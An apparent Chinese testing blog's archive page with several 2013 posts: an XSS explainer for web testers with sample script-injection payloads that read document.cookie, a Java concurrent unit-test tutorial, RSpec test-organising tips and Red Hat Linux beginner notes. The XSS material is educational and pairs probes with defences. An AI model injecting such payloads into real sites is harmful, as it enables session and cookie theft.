  这个漏洞乍听上去比较不严重,反正觉得只能在自己页面上注入代码嘛,但是其实只要有一些工程学方法,攻击者就可以诱使其他用户访问一个在结果中注入了代码的url,使攻击者拥有整个页面的权限。(具体的工程学方法。。我也不会,要是我会估计我就不在这里敲字了哈)
  刚才说了三类,最后一类就是基于DOM的XSS攻击。由于我是做web测试的,这类相对见的比较少,该漏洞多见于客户端脚本,意思就是如果一个js访问需要参数的url,并且需要把信息用于自己页面,信息又未被编码,就会出现该漏洞。是不是太抽象了?好吧,我简化一下,我们是不是经常看到一个网站(比如我们论坛)在网址后边带个参数(?XXX的),当看到这种情况时候,我们可以在参数后边加点料,加个<script></script>的,如果加了这个参数之后的结果不被编码就输出,那就证明它具有这么一个漏洞。
  举个例子吧,比如某某网站,我们输入一个这样的url去请求:
  http://server.com/XXX.php?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
  如果这个脚本被执行了,那么我们就说他有这样一个漏洞

posted @ 2013-12-06 11:12 顺其自然EVO 阅读(248) | 评论 (0)编辑 收藏

Java Web并发单元测试(1)

  大的web项目开发和运行环境都在服务器容器中进行为主,包括调试过程,也都是单例进过Web触发进行测试。在Web项目中设计使用Spring、hibernate、JBPM工作流、ehcache各种框架或组件。这些东西在一起配置好一个有效的、覆盖所有环境的单元测试用例也比较复杂。所有配置好一个可用有效的单元测试环境十分必要。并且面对单元测试对并发要求的不支持,还得加入必要的并发测试组件,满足测试全面系统白盒测试要求。
  这里总结几种有效的配置单元测试方式:
  1、直接使用Junit4组件,进行简单单元测试,在setUp()中初始化各种测试环境如下:
@Override
protected void setUp() throws Exception {
super.setUp();
String[] paths = { "classpath:applicationContext.xml" };
ApplicationContext ctx = new ClassPathXmlApplicationContext(paths);
SpringContextListener.setApplicationContext(ctx);
// ############模拟servlet容器启动,手动更改配置文件路径
Constant.CURRENT_PROJECT_PATH = "src/";
// ############直接容器中获取bean
userManager = (UserManager) ctx.getBean("userManager");
userService = (UserService) ctx.getBean("userService");
}
  2、使用Sprint-test.jar框架,支持事务可注解方式启动的单元测试:
  @RunWith(SpringJUnit4ClassRunner.class)
  @ContextConfiguration(locations = "classpath:applicationContext.xml")
  @TransactionConfiguration(transactionManager="transactionManager",defaultRollback=false) //true将会回滚所有操作,默认没有该注解为回滚
  public class JBPMProcessTest2 extends  AbstractTransactionalJUnit4SpringContextTests{
  以上都只能暂时支持简单功能的单元测试。但是要测试并发和压力等。需要加入一个常用的框架,支持在单元测试中注入多线程和并发。
  具体参见:http://blog.csdn.net/zhangyaoming2004/article/details/7619489 下面附有Jar包下载 http://yunpan.cn/QUtVay66VnU4T
  我们具体使用的功能不是很多,这些并发测试可以嵌入到上面两种单元测试方式中:如下:
/**
*
*/
package com.dtsz.model.service.test;
import net.sourceforge.groboutils.junit.v1.TestRunnable;
import com.dtsz.model.entity.report.common.InvokeSource;
import com.dtsz.model.service.ExcelReportLogicService;
import com.dtsz.model.service.TaskLogicService;
import com.dtsz.model.util.ExcelReportUtil;
import com.dtsz.view.vo.authenticator.UserVO;
import com.dtsz.view.vo.webservice.ExcelReportResult;
/**
* 模拟插件端数据上报的并发操作测试
*
* @author xiaoli
*
*/
public class CreateMulltiTaskReportGroboThread extends TestRunnable {
TaskLogicService taskLogicService;
ExcelReportLogicService excelReportLogicService;
private String reportMap;
private UserVO user;
private InvokeSource invokeSource;
private String bbq;
public CreateMulltiTaskReportGroboThread(String reportMap, UserVO user, InvokeSource invokeSource,String bbq) {
super();
this.reportMap = reportMap;
this.user = user;
this.invokeSource = invokeSource;
this.bbq = bbq;
init();
}
public void init() {
taskLogicService = (TaskLogicService)ExcelReportUtil.getBean("taskLogicService");
excelReportLogicService = (ExcelReportLogicService)ExcelReportUtil.getBean("excelReportLogicService");
}
/*
* (non-Javadoc)
*
* @see net.sourceforge.groboutils.junit.v1.TestRunnable#runTest()
*/
@Override
public void runTest() throws Throwable {
// TODO Auto-generated method stub
// ########################模拟当前任务该报表期任务上报
//保存数据
ExcelReportResult result = taskLogicService.reportData(reportMap, user, invokeSource);
excelReportLogicService.saveData(result);
System.out.println("报表期为:"+this.bbq+"已上报");
}
}

 单元测试并发:
/**
*
*/
package com.dtsz.model.service.test;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import junit.framework.TestCase;
import net.sourceforge.groboutils.junit.v1.MultiThreadedTestRunner;
import net.sourceforge.groboutils.junit.v1.TestRunnable;
import org.junit.Test;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import com.dtsz.model.entity.authenticator.User;
import com.dtsz.model.entity.report.common.InvokeSource;
import com.dtsz.model.service.authenticator.UserManager;
import com.dtsz.model.service.authenticator.UserService;
import com.dtsz.model.service.exception.BaseAppException;
import com.dtsz.model.util.BeanUtil2;
import com.dtsz.model.util.Constant;
import com.dtsz.model.util.Encryption;
import com.dtsz.view.util.SpringContextListener;
import com.dtsz.view.vo.authenticator.UserVO;
/**
* 模拟数据上报,这里的初始化数据根据插件端传入数据组合来的,当前只有根据报表期生成初始化数据
*
* @author xiaoli
*
*/
public class CreateMultiTaskReportTest3 extends TestCase {
private UserManager userManager;
private UserService userService;
@Override
protected void setUp() throws Exception {
super.setUp();
String[] paths = { "classpath:applicationContext.xml" };
ApplicationContext ctx = new ClassPathXmlApplicationContext(paths);
SpringContextListener.setApplicationContext(ctx);
// ############模拟servlet容器启动,手动更改配置文件路径
Constant.CURRENT_PROJECT_PATH = "src/";
// ############直接容器中获取bean
userManager = (UserManager) ctx.getBean("userManager");
userService = (UserService) ctx.getBean("userService");
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
}
@Test
public void test(){
// ###########自动生成报表期串集合
List<String> bbqs = new ArrayList<String>();
UnitTestUtils.imitateCreateMultiBbq(bbqs, 2, "2048", "5");
// 创建线程
TestRunnable[] tr = new TestRunnable[bbqs.size()];
int processCount = 0;
// ##########对这些数据进行填报
for (String bbq : bbqs) {
// 模拟上报数据
String reportMap = "{taskID:\"402880ee425a92f501425aa75ad50002\",bbq_:\""
+ bbq
+ "\""
+ ",bbhid:\"402855b942099b1b014209b1177e03f5\",approvalFlag:2,reportFlag:False,auditFlag:False,sheetMap:"
+ "[{id:\"402880ee425a92f501425aa75ad60004\",sheetType:\"BASIC\",values:{}}]}";
// 模拟上报的user
UserVO user = null;
try {
user = checkUser("xl1", "1");
} catch (BaseAppException e) {
e.printStackTrace();
} // 模拟插件端checkUser
String sessionInfo = "{institutionname:\"南昌分行\",institutioncode:\"A01NC\",username:\"肖力1"
+ "1\",usercode:\"xl1\",rolecode:\"null\",bbhId:\"402855b942099b1b014209b1177e03f5\",bbhcode:\"B01b\",btype:\"BASIC\",taskid:\"402880ee425a92f501425a"
+ "a75ad50002\",bbhname:\"基层财务b\",bbq:\"" + bbq
+ "\",frequency:\"MONTH\",SESSIONDIMENSION:{}}";
try {
userService.updateSession(sessionInfo, user);
} catch (BaseAppException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
} // 模拟插件端updateSession
// 初始化上报方式
InvokeSource invokeSource = InvokeSource.WSCALL;
CreateMulltiTaskReportGroboThread reportThread = new CreateMulltiTaskReportGroboThread(reportMap,user, invokeSource,bbq);
tr[processCount] = reportThread;
processCount++;
}
System.out.println("#######################################计时开始########################");
long startTime = System.currentTimeMillis();
// 生成测试线程运行器
MultiThreadedTestRunner mttr = new MultiThreadedTestRunner(tr);
// 运行测试线程
try {
mttr.runTestRunnables();
} catch (Throwable e) {
e.printStackTrace();
}
System.out.println("#######################一共耗时:"
+ String.valueOf((System.currentTimeMillis() - startTime) / 1000) + "秒");
}
/**
* xl1 1
* */
public UserVO checkUser(String userid,
String password) throws BaseAppException {
Map<String, String> paramMap = new HashMap<String, String>();
paramMap.put("UserName", userid);
paramMap.put("Password", password);
List<User> users = userManager.findByCodeCache(userid);
List<User> needUsers = new ArrayList<User>();
if (users != null && users.size() > 0) {
for (User user : users) {
if (user.getState() && user.getCode().equals(userid)
&& user.getPassword().equals(Encryption.encryption(password))) {
needUsers.add(user);
}
}
}
// 通过验证
if (needUsers != null && needUsers.size() > 0) {
User user = needUsers.get(0);
// 获取用户权限,并存放于session中
// UserVO userVO = userManager.getUserPermission(user.getId());
String ipAddress = "0.0.0.0";
UserVO userVO = new UserVO();
BeanUtil2.copyProperties(user, userVO);
userVO.setIpAddress(ipAddress);
return userVO; // 通过验证
} else {
return null;
}
}
}
  真实环境并发和压力测试不仅仅是在多个线程同时启动在测,还可能是增量式压力测试。这些还是要封装好和处理好。

posted @ 2013-12-06 11:11 顺其自然EVO 阅读(587) | 评论 (0)编辑 收藏

Web十大安全隐患之XSS跨站脚本

上次提到的是sql注入,算是较大的安全隐患,今天我们来介绍另外一种较为严重的安全隐患--XSS跨站脚本攻击。
  首先咱们来说什么是跨站脚本攻击。它的英文叫“CrossSite Scripting”,通俗点说就是攻击者向web页面里跨站的插入恶意html代码,那么当用户浏览该页的时候,嵌入到web中的html代码就会被执行。我们经常看到的重定向啊,以及一些钓鱼网站,大多数利用的就是这种技术。比如有个广告,里边网址是item.taobao.com/.xxxx的,是某个人在某论坛发的广告链接,你觉得东西很便宜啊,又是淘宝的,有保障,就点击进去了。其实呢,它会redirect到另一个攻击者自己的网站,你在上面通过他的接口付款时候,就会不小心被他洗劫一空。
  介绍过了,其实老实讲,我自己对怎么攻击和攻击的原理也不是特别特别了解(大多数时候我们只要知道怎么测试出来有这个隐患和怎么防止就ok了)。不过大致原理咱们还是要了解的,后面是我节选自百度空间一篇文章,具体作者和链接我都忘记了。。是很久之前存下的,在这先感谢下。大家可以简单了解下其原理。
  传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而另一种思路,则从一定程度上解决上述的问题。比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面将详细的介绍这种技术。
  寻找跨站漏洞
  如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入<script>alert(‘test’)</script>,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入</script><script>alert(‘test’)</script>,这样就可以弹出一个test的框。
  如何利用
  跨站脚本(Cross-site scripting,XSS)漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,那么就存在XSS漏洞。这个利用XSS漏洞的病毒之所以具有重要意义是因为,通常难以看到XSS漏洞的威胁,而该病毒则将其发挥得淋漓尽致。
  这个利用XSS漏洞的蠕虫病毒的特别之处在于它能够自我传播。myspace.com上的一个用户希望自己能够在网站的友人列表上更“受欢迎”。但是该用户不是通过普通的方法来结交新朋友,而是在自己的个人信息中添加了一些代码,导致其他人在访问他的页面时,会不知不觉地利用XSS漏洞将他加为好友。更恶劣的是,它会修改这些人的个人信息,使其他人在访问这些被感染的个人信息时,也会被感染。由于这种呈指数传播的方式,这种病毒才很快就被发现。
  很难预防站点中的XSS。因此一定要认真检查您的应用程序是否存在XSS漏洞。此外,WebLogic Server的encodeXSS()也可以有所帮助。可以试着针对所有牵涉到使用encodeXSS()或其他某个筛选方法的输出找出一种编码模式——找出对一种编码模式来说不正确的应用程序往往要比找出XSS漏洞要容易的多。更重要的是,不要认为,就因为XSS漏洞是一个常见问题,所以它危害不大。
  之所以出现XSS漏洞有两个原因。首先,HTML没有明确区分代码和数据。无法确定指出“这个字符串表示的是数据”。您可以将其放入引号中,但是数据是否包含引号呢?……其次,程序在将用户数据发送回浏览器时没有进行有效的转义。这导致包含有(例如说)引号的数据被放入页面中,从而引发了问题。而AJAX要提供的好处是,它包含一个专用渠道XML链接,其中全是数据而没有代码。这样,就有可能让客户端AJAX引擎负责对字符串进行转义、检测不正确的值,等等。说是这么说,直到AJAX更为成熟(可能也更为标准化)之前,它只会导致错误的编程和安全漏洞。
  XSS漏洞可能造成的后果包括窃取用户会话,窃取敏感信息,重写Web页面,重定向用户到钓鱼网站等,尤为严重的是,XSS漏洞可能使得攻击者能够安装XSS代理,从而攻击者能够观察到该网站上所有用户的行为,并能操控用户访问其他的恶意网站。

  对于XSS漏洞,我们有两种常见的措施,第一种就是消除漏洞,简而言之就是在输出页面上不提供任何用户的输入信息;另外一种就是想办法来抵御这种漏洞,可以采用对所有用户的输入编码后再输出(可以用OWASP的ESAPI),也可以对所有用户输入进行“白名单”验证,另外,OWASP还提供了AntiSamy对HTML页面做优化以消除这个漏洞。
  上面这段既包含了原理,也说了防止手段。算是我看过文章里比较全面的。那后边我们进入最重点部分,那就是怎么去测试XSS跨站脚本攻击。
  大致上可以把XSS攻击分成三类,Stored XSS、Reflected XSS、Dom-Base XSS。我们逐一介绍下。
  首先是Stored XSS,就是存储式跨站攻击。这是最为厉害的一种攻击方式,也是测试起来相对容易的。存储式跨站攻击简单来说就是攻击者提交给网站的数据呢会提交并永久保存到服务器的数据库或者是文件系统等其他地方,之后不做任何编码操作就会显示在web页面上。貌似说的不是很清楚,我们可以举个例子来说:
  比如说一个社交网站或其他可以给在网站中留言的地方,事实上呢,我们在可以留言的地方写入一段代码:
  <script>alert(document.cookie)</script>
  这样这个信息就被存储到了服务器上,当有其他用户访问这个网页时候,其浏览器就会执行这个脚本,从而弹出一个关于cookie的alert。
  我们就完成一次最简单的存储式跨站攻击。到目前为止最典型的存储式跨站攻击的例子就是05年myspace发现的漏洞,具体情况大家自行google~~~
  其次Reflected XSS,反射跨站脚本攻击。这个是最著名最常见的攻击手段。所谓反射,就是等着服务器所给的返回。我们在进行测试行依据的就是在自己页面上的简单注入。在web客户端提交了数据后,服务端马上给这个请求生成返回结果页,如果结果中包含了未验证的客户端输入数据,那就表示会允许客户端脚本直接注入到页面里,也就出现了这样一个漏洞。简单举个例子,在搜索引擎里边,我们如果搜索了一个包含html代码的字符串,如果返回的字符串仍然没被编码,那就是存在XSS漏洞了。呃,我自己说的也比较晕,不知道大家能理解没有。
  这个漏洞乍听上去比较不严重,反正觉得只能在自己页面上注入代码嘛,但是其实只要有一些工程学方法,攻击者就可以诱使其他用户访问一个在结果中注入了代码的url,使攻击者拥有整个页面的权限。(具体的工程学方法。。我也不会,要是我会估计我就不在这里敲字了哈)
  刚才说了三类,最后一类就是基于DOM的XSS攻击。由于我是做web测试的,这类相对见的比较少,该漏洞多见于客户端脚本,意思就是如果一个js访问需要参数的url,并且需要把信息用于自己页面,信息又未被编码,就会出现该漏洞。是不是太抽象了?好吧,我简化一下,我们是不是经常看到一个网站(比如我们论坛)在网址后边带个参数(?XXX的),当看到这种情况时候,我们可以在参数后边加点料,加个<script></script>的,如果加了这个参数之后的结果不被编码就输出,那就证明它具有这么一个漏洞。
  举个例子吧,比如某某网站,我们输入一个这样的url去请求:
  http://server.com/XXX.php?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
  如果这个脚本被执行了,那么我们就说他有这样一个漏洞

posted @ 2013-12-06 11:11 顺其自然EVO 阅读(291) | 评论 (0)编辑 收藏

如何组织测试用例?

 如何组织测试用例比如何写测试更重要。个人的一些经验总结在此。
  1. 使用describe 和  context 来区分 不同的测试分类和同一个测试的不同方面
  describe 一般用作分类,需要测试什么东西
  context 用来对需要测试的东西的不同方面
  比如
descirbe Order do #分类
describe "#status" do
context "should include a default value" do  #具体的某一方面
... ...
end
end
end
  可以参考的文章 http://www.slideshare.net/ihower/rspec-7394497 @ihower的ppt,
  2. 区分类方法和实例方法
  如 类方法用 .class_method, 实例方法使用 #instance_method
  3. 最好嵌套超过三层测试用例结构
  比如 如下的测试代码看起来就非常清楚
describe ClassA do
describe "#method_a" do
context "x = 1" do
end
end
end
  4. 遇到多种交错的测试条件 改怎么办?
  比如 我们要测试方法 method_a , 然后 方法 method_a 中有method_b 的条件约束 改怎么办呢?
  期待大家补充 ...

posted @ 2013-12-06 11:09 顺其自然EVO 阅读(348) | 评论 (0)编辑 收藏

红帽操作系统——初学笔记(一)

 命令:
  1.   root 管理员名称,用户登录名
  2.   startx 切换桌面版系统
  3.   shutdown -h now 立即进行关机
  4.   shutdown -r now  现在重新启动
  5.   reboot 重启计算机
  6.   logout 用户注销
  7.   su-  切换系统管理员账户
  8,  pwd      显示当前在哪个路径下
  9  用户管理:
  useradd  xufei 【用户名】 添加用户
  passwd xufei【若不添加用户名,默认给root设置】  给用户设密码或修改密码
  userdel xufei  【删除用户】
  userdel -r xufei 【删除用户以及用户主目录】
  10. 命令:init[0123456]
  运行级别:
  0: 关机
  1:单用户
  2:多用户状态没有网络服务
  3:多用户状态有网络服务【常用状态】
  4:系统未使用保留给永辉
  5:图形界面【常用】
  6:系统重启【若配置为这个,修改方法:这进入grub引导界面时,按e键,选中第二行再输入e,输入数字 1(数字前有空格),回车,按字母b重新启动,进入单用户级别模式(只能进入这个模式,单用户不读运行级别模式且不验证密码)】
  修改级别命令:修改 /etc/inittab的id:5:inindefault:
  命令:vi /etc/inittab 回车,直接修改数字
  11. cd 【改变目录】
  ls 【列车文件盒目录,后面有很多参数,可以参照谷歌
  ls -a【显示隐藏文件】
  ls -l 【显示长列表格式】
  ls -al
  mkdir 【建立目录】
  rmdir 【删除空目录】
  12. touch 【建立空文件】
  cp 【复制命令 cp -r dir1 dir2 递归复制命令()】
  rm  【删除文件或目录】

  13.more 【显示文件内容带分页 例如:more  install.log   或 ls -l /etc/  | more  (竖杠| 为管道命令:把上一个命令的结果交给|的后面的命令处理)】
  less  【显示文件内容带分页】
  grep 【查找文件中的关键词 例如: grep "aa (关键词)" aa.java (文件名) 若查找关键词在文件中第几行:grep -n "aa" aa.java 】
  【在谷歌中查找资料关键词: linux命令 grep】
  14.man 【命令相当于dos下的help,或者是菜单的手册】
  15 find  / -name aaa.java 【意思:在根目录下查找文件名为aaa。java文件,可以指定查找目录】
  16 ,ls -l > a.txt 【管道定向命令:把列表的内容结果输入到a.txt文件里去】
  17 , who am i 【查看当前用户是谁】
  18. df [目录全路径]【查看某个目录是在哪个分区下】
  fdisk -l  查看磁盘有几块分区;
  umount /boot/  【将boot 目录卸载,可以再挂载,】
  df  【查看磁盘使用情况】
  df -h 【查看磁盘的详细使用情况】
  find -size +1000000k 【查看文件大于已经的文件】
  mount /dev/sda1  /test/ 【将test目录挂载到sda1磁盘上】
  vi 编辑器使用方法:
  开发Java示例步骤:
  1> Vi Hello.java 回车
  2> 输入小写字母i, 【进入编辑模式】编辑完之后
  3> 输入esc键【进入命令模式】
  4> 输入冒号:
  q!【退出不保存】
  wq 【退出保存】
  5> 输入ls命名 【查看当前目录下的文件】
  输入ls -l   【以列表形式查看文件及文件大小】
  6> 编译Hello.java , 输入 javac Hello.java编译文件
  7>运行Java文件:输入命令:java Hello
  开发C程序或者是C++ 程序:
  1> Vi Hello.cpp 回车
  2>  wq 保存
  3> 编译  gcc Hello.cpp
  编译成指定文件 gcc -o myFile Hello.cpp 【myFile 为编译成的文件名】
  4> ls 查看
  5> 运行:  ./a.out【 默认函数中的名】
  Linux的文件系统:
  1> 最上层的根目录是"/",有如下子目录:打开该目录命令:cd /
  root, 【存放root用户的相关文件目录,超级用户的宿主目录】
  home, 【存放普通用户的相关文件,每个用户在该目录下都有一个与用户名同名的目录】
  bin,  【存放 常用命令的目录,普通用户的可执行命令,系统的任何用户都可以执行该目录中的命令】
  sbin, 【要具有一定权限才可以使用的目录】
  mnt,  【默认挂载软驱和光驱的目录,子目录用于系统中可移动设备的挂载点】
  etc,  【存放配置相关的文件,如:环境变量的配置,Tomcat的配置等】
  var,  【存放经常变化的数据,存放系统中经常变化的文件,如日志文件和用户邮件】
  boot, 【存放引导相关文件,linux操作系统启动时所需要使用的文件】
  usr,  【存放安装软件的默认文件夹】
  dev,【系统中所有设备文件,存放系统应用程序和相关文件】
  tmp,【系统的临时目录】
  在Linux下搭建Java EE开发环境:
  1.jdk的安装:
  1> 把mypackage.iso挂载到linux操作系统上,
  2> mount /mnt/cdrom/ 【挂载光驱,把光驱启动;若卸载光驱, cd / (切换到根目录下);umount /mnt/cdrom/(卸载光驱命令)】
  3> cd /mnt/cdrom/ 【打开光驱文件目录】
  4>  cp 文件 /home    【把安装文件拷贝到/home 目录中,】
  5> cd /home 【切换到home目录】
  6> ./文件名.bin    回车   【安装,显示条款,输入yes,实际这个命令就是解压缩】
  7> vi /etc/profile  回车【看看一个文件 /etc/profile (环境配置文件)】
  8>  vi /etc/profile  在里面编辑环境变量【配置安装的Jdk】
  JAVA_HOME=
  PATH=
  CLASSPATH=
  export JAVA_HOME PATH CLASSPATH
  2。eclipse的安装:
  1>把安装文件拷贝到/home 目录下
  2> tar -zxvf  文件名.tar.gz  【安装以tar.gz结尾的文件,(其实就是解压缩)】
  3> cd eclipse  【启动eclipse,打开eclipse目录】首先启动图像界面
  startx  【进入到图像界面,若退出图像界面,直接退出】
  ./eclipse
  3.myeclipse的安装(必须在图像界面下安装):
  1> 把安装文件 myeclipse.bin 拷贝到home目录下,
  2> ./ wenjian名.bin   【执行安装】
  4.Tomcat的安装:
  jboss(免费),weblogic(收费).websphere(收费).resin..都可以作为大型服务器安装到linux;
  1> 把文件...tar.gz拷贝到home目录下
  2> tar -zxvf 文件名.tar.gz
  3> ./eclipse &  回车【运行】
  5.数据库
  mysql,oracle,db2可以安装
  & 地址符:表示它以后台方式;释放控制台给用户
  -> 链接,相当于windows下的快捷键
  娱乐软件的安装:
  播放影音:realplay.bin文件
  文件所有者、所在组和其它组:
  谁创建了文件,谁就是文件的所有者;除开文件的所有者和所在组的用户外,系统的其它用户都是文件的其它组
  如何在Linux中添加组:
  groupadd policeman 【添加policeman组命令】
  vi /etc/group  【查看Linux中所有组并且可以编辑,切忌使用】
  cat /etc/group  【只可以查看Linux所有组而不能修改的命令】
  useradd  -g 组名 用户名 【创建用户,并同时指定将用户分配到指定组】
  vi /etc/passwd 【查看linux中所有用户信息 或者是:cat /etc/passwd】
  usermod -g 组名 用户名【修改用户到别的组】
  ls -ahl
  chgrp 组名 用户名
  shell 为解析器,把人类语言编译成内核识别的语言
  对【 - rw- r-- r--】分析意思:
  -   【-代表文件类型,目录(d),链接(I)】;
  rw- 【文件的所有者对该文件的权限,权限分为三种 r 代表可读用4表示;w 可写用2表示;x 可执行 用1表示】;
  r-- 【文件所在组对该文件的权限】
  r-- 【其它组的用户对该文件的权限】

字体:        | 上一篇 下一篇 | 打印  | 我要投稿 

  如何修改文件盒目录的权限:
  chmod 777 用户名 【修改权限,第一个7 代表对所有者的权限进行修改,第二个7是对所有者所在组的权限进行修改,第三个7代表对其它组的用户权限进行修改】
  【7有三种可以替换,0,4,6,7,3,1,也就是4,2,1权限的和】;
  Linux分区:
  1.硬盘的分区:
  基本分区:可以马上使用但是不能再分区
  扩展分区:必须进行再次分区后才可以使用,分后成为逻辑分区;扩展分区加上主分区,最多可以分四块;逻辑分区数量没有限制;
  2.Linux无论有几个分区,分给哪一目录使用,归根结底只有一个根目录,一个独立且唯一的文件结构;
  文件目录结构和分区关系:
  在Windows下查看Ip情况下的命令是:ipconfig
  Linux 和Unix 查看Ip情况的命令:ifconfig
  追踪路由:tracert 目标IP/域名
  ping 目标IP 【测试两个Ip网络是否畅通】
  Linux的安装(有两种方式):
  1.独立安装:
  2. 虚拟机安装:
  1> 安装个虚拟机VMware Workstation
  2> 安装Linux
  准备安装文件redHat9.0系统的iso文件
  Linux分区原则(刚入门时候,这个是基于256M内存的机子)
  1./boot 分区(ext3) ,100M(多给些)
  2./swap  分区(swap) ,一般是你的物理内存的两倍,但是不大于256m(参考)
  3./     根分区(ext3) ,尽可能的大
  3> 注意:如果是使用virtualBOx安装RedHat,必须在虚拟机设置中更改一下内容:
  Edit vitual machine settings(启动的下边,也就是第二个)-->单击 "Hard Disk (SCSI 0:0)"-->在这个框下边有一个"Remove",单击这个就是删除了。-->单击"Remove"左边的"Add...",下一步,"Hard Disk",Create a new vitual disk,下一步,选择IDE(呵呵,这就是我说的添加新的IDE硬盘的地方),然后一路回车就OK了,最后你会看到那个框里最下边多了一个"Hard Disk (IDE 0:0)"-->成功-->
  Linux下的Shell:
  1> 解释shell:从我们可以看懂的文字命令,需要通过某种机制解释成内核可以执行的代码,被Linux内核所识别并且执行。而这种机制的功能模块被称为shell;
  shell类似于windows下的批处理文件aa.bat来执行dos命令。这种文件称为shell命令文件,shell 脚本等
  2> 推荐书籍:《linux 命令、编辑器和shell编程》
  3> shell分类:常用3种:(我们用 /bin/bash)
  shell名称    命令名称
  Bourne       /bin/sh
  C            /bin/csh
  Kom          /bin/ksh
  4>查看目前使用的是那种shell
  env 【该命令可以显示当前操作系统的环境变量】 env ! more 【分页显示环境变量】
  5> shell的修改种类:
  chsh -s 输入新的shell  【例如:chsh -s /bin/csh 回车】
  6> shell的命令补全功能:按两下tab键,会出现相关的命令提示符
  man mkdir 【查看mkdir的帮助文件】
  7> 查阅历史记录命令: history
  history 5【此项说明会显示最近使用的5个命令】
  !5 【执行历史编号为5的命令】
  !ls 【此项说明执行最后一次以"ls" 开头的命令】
  TCP/IP基础:
  1> 计算机交流遵循通讯协议,而TCP/IP 是主要的协议,通用的通讯协议
  2>TCP/IP是网络互连标准,不是一个独立协议,而是一组协议;
  3》TCP/IP 分七层协议,这是理论协议,实际使用4层(应用层,传输层。网络层、链路层)
  4>电子书籍:史蒂文斯 《TCP/IP 详解 卷1:协议 》(先读)、《TCP/IP 详解 卷2:实现 》 《TCP/IP 详解 卷3:TCP失误协议 HTTP NNTP和UNIX域协议 》
  5> 以root 身份登录,运行setup ,对网络进行设置
  重启网卡: /etc/rc.d/init.d /network restart 设置生效
  6> ifconfig eth0 192.168.1.15 【更改网络配置。临时生效】
  ifconfig eth0 network 192.168.1.22 【对子网ip进行设置】
  7> 修改 /etc/sysconfig/network-scripts/ifcfg-eth0
  linux网络环境配置:
  rpm包管理器:
  1> 用于互联网下载包的打包及安装工具, RPM (RedHat Package Manager)包管理工具
  2> rpm -qa 【查询Linux中安装了哪些rpm包】
  rpm -q mysql 【查询mysql包】
  3> rpm -i RPM路径名称:【 安装包到当前系统】rpm -ivh 文件名.rpm
  rpm -U Rpm路径 【rpm包升级】
  rpm -e samba 【rpm包卸载samba】
  rpm -e --nodeps samba
  samba安装和配置:
  1>解释:windows操作系统之间实现文件共享通过网络邻居来解决;windows和Linux之间实现文件共享,需要在Linux系统装上samba服务,windows用户可以轻松访问到Linux的文件;
  2>安装:
  1》rpm -q samba 【检查是否安装】
  2》 cp /mnt/cdrom/sam* /home【把samba开头的文件,拷贝到/home,准备安装】
  3> sambpasswd  youyou 【给用户youyou设置samba密码】
  cat /etc/passwd | mksmbpasswd.sb > /etc/samba/smbpasswd【把linux的所有用户设为samba用户】
  smbpasswd youyou【设置密码】
  3>启动samba:
  service smb start【启动】
  service smb stop 【停止】
  service smb restart【重启】
  在Linux中,所有的设备都是一个文件;

posted @ 2013-12-05 10:50 顺其自然EVO 阅读(280) | 评论 (0)编辑 收藏

仅列出标题
共394页: First 上一页 173 174 175 176 177 178 179 180 181 下一页 Last 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜